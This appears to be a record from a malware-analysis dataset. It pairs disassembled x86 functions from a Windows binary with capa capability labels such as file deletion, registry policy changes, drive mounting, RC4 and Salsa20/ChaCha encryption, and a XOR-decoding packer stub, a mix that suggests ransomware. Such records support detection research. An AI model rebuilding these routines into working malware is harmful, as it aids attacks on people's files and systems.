joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408b00
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0xc5002a5f
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
sub eax, 0x81113da5
je 0x408d39
jmp 0x408b2a
mov eax, dword [ebp - 0x20]
sub eax, 0x9b97ce28
je 0x408cad
jmp 0x408b3d
mov eax, dword [ebp - 0x20]
sub eax, 0xa59f872f
je 0x408cc8
jmp 0x408b50
mov eax, dword [ebp - 0x20]
sub eax, 0xc5002a5f
je 0x408bed
jmp 0x408b63
mov eax, dword [ebp - 0x20]
sub eax, 0xc7a194d9
je 0x408c33
jmp 0x408b76
mov eax, dword [ebp - 0x20]
sub eax, 0xd1cf9855
je 0x408d33
jmp 0x408b89
mov eax, dword [ebp - 0x20]
sub eax, 0xe64fc5e0
je 0x408d1b
jmp 0x408b9c
mov eax, dword [ebp - 0x20]
sub eax, 0x282cbc67
je 0x408ce6
jmp 0x408baf
mov eax, dword [ebp - 0x20]
sub eax, 0x2f28dbf5
je 0x408ca1
jmp 0x408bc2
mov eax, dword [ebp - 0x20]
sub eax, 0x338fe2c5
je 0x408d27
jmp 0x408bd5
mov eax, dword [ebp - 0x20]
sub eax, 0x4f5bb2b4
je 0x408d00
jmp 0x408be8
jmp 0x408d55
mov eax, dword [0x43a56c]
mov ecx, dword [0x43a568]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81113da5
mov ecx, 0xc7a194d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18], eax
jmp 0x408d55
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
cmp eax, 0xffffffff
setne al
and al, 1
mov byte [ebp - 0xd], al
mov eax, dword [0x43a56c]
mov ecx, dword [0x43a568]
mov edx, eax
sub edx, 0x48610b07
sub edx, 1
add edx, 0x48610b07
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81113da5
mov ecx, 0x2f28dbf5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18], eax
jmp 0x408d55
mov dword [ebp - 0x18], 0x9b97ce28
jmp 0x408d55
mov dl, byte [ebp - 0xd]
mov eax, 0xd1cf9855
mov ecx, 0xa59f872f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18], eax
jmp 0x408d55
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], 0x282cbc67
jmp 0x408d55
mov eax, dword [ebp - 0xc]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 5], al
mov dword [ebp - 0x18], 0x4f5bb2b4
jmp 0x408d55
mov dl, byte [ebp - 5]
mov eax, 0xe64fc5e0
mov ecx, 0x338fe2c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18], eax
jmp 0x408d55
mov dword [ebp - 0x18], 0xd1cf9855
jmp 0x408d55
mov dword [ebp - 0x18], 0xd1cf9855
jmp 0x408d55
add esp, 0x20
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
mov dword [ebp - 0x18], 0xc7a194d9
jmp 0x408b14
Function at 0x42292b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42296a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42296a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42296a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42296a
cmp dword [ecx + 0x74], 0xe
jbe 0x42296a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x42a0cb
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x42a168
push ebx
push esi
call fcn.0042a094
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0042a028
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x42a115
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42a167
push edi
push eax
call fcn.00428b60
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x42a135
call fcn.00428bae
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42a166
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0042a028
add esp, 0x20
test eax, eax
jne 0x42a154
push edi
call fcn.00428bae
jmp 0x42a15c
push ebx
call fcn.00428bae
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x42b377
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x433eb0
push 0x433ea8
push str.FlsAlloc
push 0x1f
call fcn.0042b236
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42b3ab
push dword [ebp + 8]
mov ecx, esi
call dword [0x431144]
call esi
jmp 0x42b3b1
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x42b3f5
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x433ec0
push 0x433eb8
push str.FlsGetValue
push 0x21
call fcn.0042b236
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42b42c
push dword [ebp + 8]
mov ecx, esi
call dword [0x431144]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x42b434
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x433ec8
push 0x433ec0
push str.FlsSetValue
push 0x22
call fcn.0042b236
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42b46e
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x431144]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x430740
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43076d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43076d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, reloc.user32.dll_GetKeyState
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x406ccd
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x2db6d290]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x406cd7
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x406d1d
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x406cfc
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x406d3c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.00436910
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x406dcc
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x406d82
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x406d98
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x406dbf
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x406d71
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8
Function at 0x402bd0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43b98d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 0xc]
mov eax, esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], 0
cmp dword [esi + 0x14], 8
jb 0x402c03
mov eax, dword [esi]
lea ecx, [ebp - 0x10]
push ecx
push 0
push 0
push 2
push eax
push 0
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov ecx, eax
test ecx, ecx
je 0x402c39
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword [eax], ecx
mov byte [eax + 0x18], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x2c]
shr eax, 1
xorps xmm0, xmm0
push eax
push 0x20
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
call fcn.00406a40
mov dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
cmovae eax, dword [ebp - 0x2c]
cmp dword [esi + 0x14], 8
jb 0x402c78
mov esi, dword [esi]
lea ecx, [ebp - 0x10]
push ecx
push eax
push 0
push 2
push esi
push 0
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
je 0x402ce7
mov esi, dword [ebp + 8]
mov ecx, dword [ebp - 0x18]
mov dword [esi], eax
mov byte [esi + 0x18], 0
cmp ecx, 8
jb 0x402cd3
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402cc9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402da3
push ecx
push edx
call fcn.0041f22a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x1c]
shr ecx, 1
dec ecx
cmp ecx, esi
ja 0x402d0a
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1c], ecx
cmovae eax, dword [ebp - 0x2c]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x402d59
mov edi, dword [ebp - 0x18]
mov edx, ecx
mov eax, edi
sub edx, esi
sub eax, esi
cmp edx, eax
ja 0x402d4b
cmp edi, 8
mov dword [ebp - 0x1c], ecx
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
mov dword [ebp + 0xc], eax
lea edi, [eax + esi*2]
test edx, edx
je 0x402d3d
xor eax, eax
mov ecx, edx
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov ecx, dword [ebp + 0xc]
lea eax, [esi + edx]
xor edx, edx
mov word [ecx + eax*2], dx
jmp 0x402d59
push ecx
push edx
push dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push edx
call fcn.00406d60
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
mov ecx, esi
call fcn.00401fb0
mov ecx, dword [ebp - 0x18]
mov byte [esi + 0x18], 1
cmp ecx, 8
jb 0x402cd3
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402cc9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402cc9
call fcn.0042b82f
int3
Function at 0x402e70
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43b9b5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push str.____Enable_linked_connections..._n
call fcn.00401db0
add esp, 4
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x38], xmm0
push 0x39
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
call fcn.00401ed0
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 1
push eax
push 0x80000002
lea ecx, [ebp - 0x18]
call fcn.00402ab0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x24]
cmp ecx, 8
jb 0x402f1c
mov edx, dword [ebp - 0x38]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402f12
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4030bc
push ecx
push edx
call fcn.0041f22a
add esp, 8
xor eax, eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 7
mov word [ebp - 0x38], ax
cmp dword [ebp - 0x18], eax
je 0x40306e
push 0x17
xorps xmm0, xmm0
mov dword [ebp - 0x40], eax
push str.EnableLinkedConnections
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x3c], eax
movups xmmword [ebp - 0x50], xmm0
call fcn.00401ed0
cmp dword [ebp - 0x3c], 8
lea ecx, [ebp - 0x1c]
push 4
push ecx
push 4
lea eax, [ebp - 0x50]
mov dword [ebp - 0x1c], 1
cmovae eax, dword [ebp - 0x50]
push 0
push eax
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x3c]
test eax, eax
sete al
mov byte [ebp - 0x11], al
cmp ecx, 8
jb 0x402fc0
mov edx, dword [ebp - 0x50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402fb3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4030c1
push ecx
push edx
call fcn.0041f22a
mov al, byte [ebp - 0x11]
add esp, 8
test al, al
mov eax, dword [ebp - 0x18]
je 0x403024
test eax, eax
je 0x403011
cmp eax, 0x80000001
je 0x403011
cmp eax, 0x80000002
je 0x403011
cmp eax, 0x80000000
je 0x403011
cmp eax, 0x80000005
je 0x403011
cmp eax, 0x80000007
je 0x403011
cmp eax, 0x80000004
je 0x403011
cmp eax, 0x80000060
je 0x403011
cmp eax, 0x80000050
je 0x403011
cmp eax, 0x80000003
je 0x403011
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test eax, eax
je 0x40306e
cmp eax, 0x80000001
je 0x40306e
cmp eax, 0x80000002
je 0x40306e
cmp eax, 0x80000000
je 0x40306e
cmp eax, 0x80000005
je 0x40306e
cmp eax, 0x80000007
je 0x40306e
cmp eax, 0x80000004
je 0x40306e
cmp eax, 0x80000060
je 0x40306e
cmp eax, 0x80000050
je 0x40306e
cmp eax, 0x80000003
je 0x40306e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
xor al, al
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0042b82f
call fcn.0042b82f
int3
Function at 0x412150
Capabilities:
Encode data using base64 via winapi

Disassembly:
sub esp, 0xc
push ebx
push esi
mov eax, ecx
mov dword [esp + 8], 0
lea ecx, [esp + 8]
mov dword [esp + 0x10], eax
push ecx
push 0
mov esi, dword [eax]
mov ebx, edx
mov eax, dword [eax + 4]
push 0x40000001
sub eax, esi
push eax
push esi
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
test eax, eax
je 0x4122bd
mov esi, dword [ebx + 0x10]
mov ecx, dword [esp + 8]
push ebp
lea ebp, [ebx + 0x10]
push edi
mov edi, dword [ebx + 0x14]
cmp ecx, esi
ja 0x4121af
mov eax, ebx
cmp edi, 8
jb 0x4121a4
mov eax, dword [ebx]
xor edx, edx
mov dword [ebp], ecx
mov word [eax + ecx*2], dx
jmp 0x412200
mov edx, ecx
mov eax, edi
sub edx, esi
sub eax, esi
cmp edx, eax
ja 0x4121f2
mov dword [ebp], ecx
mov eax, ebx
mov dword [esp + 0x14], ebx
cmp edi, 8
jb 0x4121cf
mov eax, dword [ebx]
mov dword [esp + 0x14], eax
lea edi, [eax + esi*2]
test edx, edx
je 0x4121e3
xor eax, eax
mov ecx, edx
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov ecx, dword [esp + 0x14]
lea eax, [esi + edx]
xor edx, edx
mov word [ecx + eax*2], dx
jmp 0x412200
push ecx
push edx
push dword [esp + 0x20]
mov ecx, ebx
push edx
call fcn.00406d60
cmp dword [ebx + 0x14], 8
mov edx, ebx
jb 0x41220a
mov edx, dword [ebx]
mov eax, dword [esp + 0x18]
lea esi, [esp + 0x10]
push esi
push edx
push 0x40000001
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
push eax
push ecx
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
mov ecx, eax
mov dword [esp + 0x18], ecx
test ecx, ecx
je 0x4122b9
mov esi, dword [ebp]
mov ecx, dword [esp + 0x10]
mov edi, dword [ebx + 0x14]
cmp ecx, esi
ja 0x412260
cmp edi, 8
jb 0x41224b
mov ebx, dword [ebx]
pop edi
mov dword [ebp], ecx
xor eax, eax
pop ebp
mov word [ebx + ecx*2], ax
mov eax, dword [esp + 0x10]
pop esi
pop ebx
add esp, 0xc
ret
mov edx, ecx
mov eax, edi
sub edx, esi
sub eax, esi
cmp edx, eax
ja 0x41229f
mov dword [ebp], ecx
cmp edi, 8
jb 0x412276
mov ebx, dword [ebx]
lea edi, [ebx + esi*2]
test edx, edx
je 0x41228a
xor eax, eax
mov ecx, edx
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
pop edi
lea eax, [esi + edx]
xor ecx, ecx
pop ebp
mov word [ebx + eax*2], cx
mov eax, dword [esp + 0x10]
pop esi
pop ebx
add esp, 0xc
ret
push ecx
push edx
push dword [esp + 0x20]
mov ecx, ebx
push edx
call fcn.00406d60
mov eax, dword [esp + 0x18]
pop edi
pop ebp
pop esi
pop ebx
add esp, 0xc
ret
pop edi
mov eax, ecx
pop ebp
pop esi
pop ebx
add esp, 0xc
ret
Function at 0x4122d0
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ecx
push ebx
mov ebx, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
lea eax, [esp + 4]
push esi
push 0
push 0
push eax
push 0
push 1
push 0
push dword [esp + 0x28]
mov esi, ecx
mov dword [esp + 0x24], 0
call ebx
test eax, eax
je 0x4123b0
mov edx, dword [esi]
push ebp
mov ebp, dword [esi + 4]
mov ecx, ebp
push edi
mov edi, dword [esp + 0x10]
sub ecx, edx
cmp edi, ecx
jae 0x412318
lea eax, [edx + edi]
jmp 0x41233f
jbe 0x412342
mov eax, dword [esi + 8]
sub eax, edx
cmp edi, eax
jbe 0x41232e
push ecx
push edi
mov ecx, esi
call fcn.00412b30
jmp 0x412342
sub edi, ecx
push edi
push 0
push ebp
call fcn.00420e90
add esp, 0xc
lea eax, [edi + ebp]
mov dword [esi + 4], eax
push 0
push 0
lea eax, [esp + 0x18]
push eax
push dword [esi]
push 1
push 0
push dword [esp + 0x30]
call ebx
mov ebx, eax
test ebx, ebx
je 0x4123ac
mov ebp, dword [esi + 4]
mov ecx, ebp
mov edx, dword [esi]
sub ecx, edx
mov edi, dword [esp + 0x10]
cmp edi, ecx
jae 0x41237c
lea eax, [edx + edi]
pop edi
pop ebp
mov dword [esi + 4], eax
mov eax, ebx
pop esi
pop ebx
pop ecx
ret
jbe 0x4123ac
mov eax, dword [esi + 8]
sub eax, edx
cmp edi, eax
jbe 0x412398
push ecx
push edi
mov ecx, esi
call fcn.00412b30
pop edi
pop ebp
pop esi
mov eax, ebx
pop ebx
pop ecx
ret
sub edi, ecx
push edi
push 0
push ebp
call fcn.00420e90
lea eax, [edi + ebp]
add esp, 0xc
mov dword [esi + 4], eax
pop edi
mov eax, ebx
pop ebp
pop esi
pop ebx
pop ecx
ret
Function at 0x412fc0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c56d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x18], 0x105
push 0x20a
mov dword [ebp - 0x10], edi
call fcn.0042c5ac
mov esi, eax
add esp, 4
test esi, esi
je 0x413046
nop dword [eax]
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x18]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
jne 0x413058
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x41318d
push esi
call fcn.0042c591
mov eax, dword [ebp - 0x18]
add eax, eax
push eax
call fcn.0042c5ac
mov edi, dword [ebp - 0x10]
mov esi, eax
add esp, 8
test esi, esi
jne 0x413000
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor edi, edi
lea eax, [edi + 0x41]
mov dword [ebp - 0x20], 0x3a0041
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x1c], 0x5c
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x4130b3
push dword [ebp - 0x10]
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x4130be
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x10]
push str.____Not_mounted:__s_____s__error:_0x_X_n
call fcn.00401db0
add esp, 0x10
inc edi
cmp edi, 0x1a
jb 0x413060
jmp 0x41318a
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x10]
push str.___Mounted:__s_____s_n
call fcn.00401db0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x24], 0
add esp, 0xc
lea edx, [ecx + 2]
movups xmmword [ebp - 0x38], xmm0
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4130f0
sub ecx, edx
lea eax, [ebp - 0x20]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00401ed0
mov dword [ebp - 4], 0
mov eax, dword [0x44e9fc]
cmp eax, dword [0x44ea00]
je 0x413145
movups xmm0, xmmword [ebp - 0x38]
mov ecx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x28]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [0x44e9fc], 0x18
mov word [ebp - 0x38], ax
jmp 0x413157
lea ecx, [ebp - 0x38]
push ecx
push eax
mov ecx, 0x44e9f8
call fcn.0040b180
mov ecx, dword [ebp - 0x24]
cmp ecx, 8
jb 0x41318a
mov edx, dword [ebp - 0x38]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x413180
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4131ac
push ecx
push edx
call fcn.0041f22a
add esp, 8
mov edi, dword [ebp - 0x14]
test esi, esi
je 0x41319a
push esi
call fcn.0042c591
add esp, 4
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.0042b82f
int3
Function at 0x4131c0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, ecx
mov dword [edi], 0x61707865
mov dword [edi + 4], 0x3320646e
mov dword [edi + 8], 0x79622d32
mov dword [edi + 0xc], 0x6b206574
movzx edx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl edx, 8
or edx, eax
movzx eax, byte [esi + 1]
shl edx, 8
or edx, eax
movzx eax, byte [esi]
shl edx, 8
or edx, eax
mov dword [edi + 0x10], edx
movzx ecx, byte [esi + 7]
movzx eax, byte [esi + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 4]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x14], ecx
movzx ecx, byte [esi + 0xb]
movzx eax, byte [esi + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 8]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x18], ecx
movzx ecx, byte [esi + 0xf]
movzx eax, byte [esi + 0xe]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xc]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x1c], ecx
movzx ecx, byte [esi + 0x13]
movzx eax, byte [esi + 0x12]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x10]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x20], ecx
movzx ecx, byte [esi + 0x17]
movzx eax, byte [esi + 0x16]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x24], ecx
movzx ecx, byte [esi + 0x1b]
movzx eax, byte [esi + 0x1a]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x19]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x18]
mov edx, dword [esp + 0x10]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x28], ecx
movzx ecx, byte [esi + 0x1f]
movzx eax, byte [esi + 0x1e]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1c]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x30], 0
mov dword [edi + 0x2c], ecx
mov dword [edi + 0x34], 0
movzx ecx, byte [edx + 3]
movzx eax, byte [edx + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x38], ecx
movzx ecx, byte [edx + 7]
movzx eax, byte [edx + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 4]
shl ecx, 8
or ecx, eax
mov eax, edi
mov dword [edi + 0x3c], ecx
pop edi
pop esi
ret 8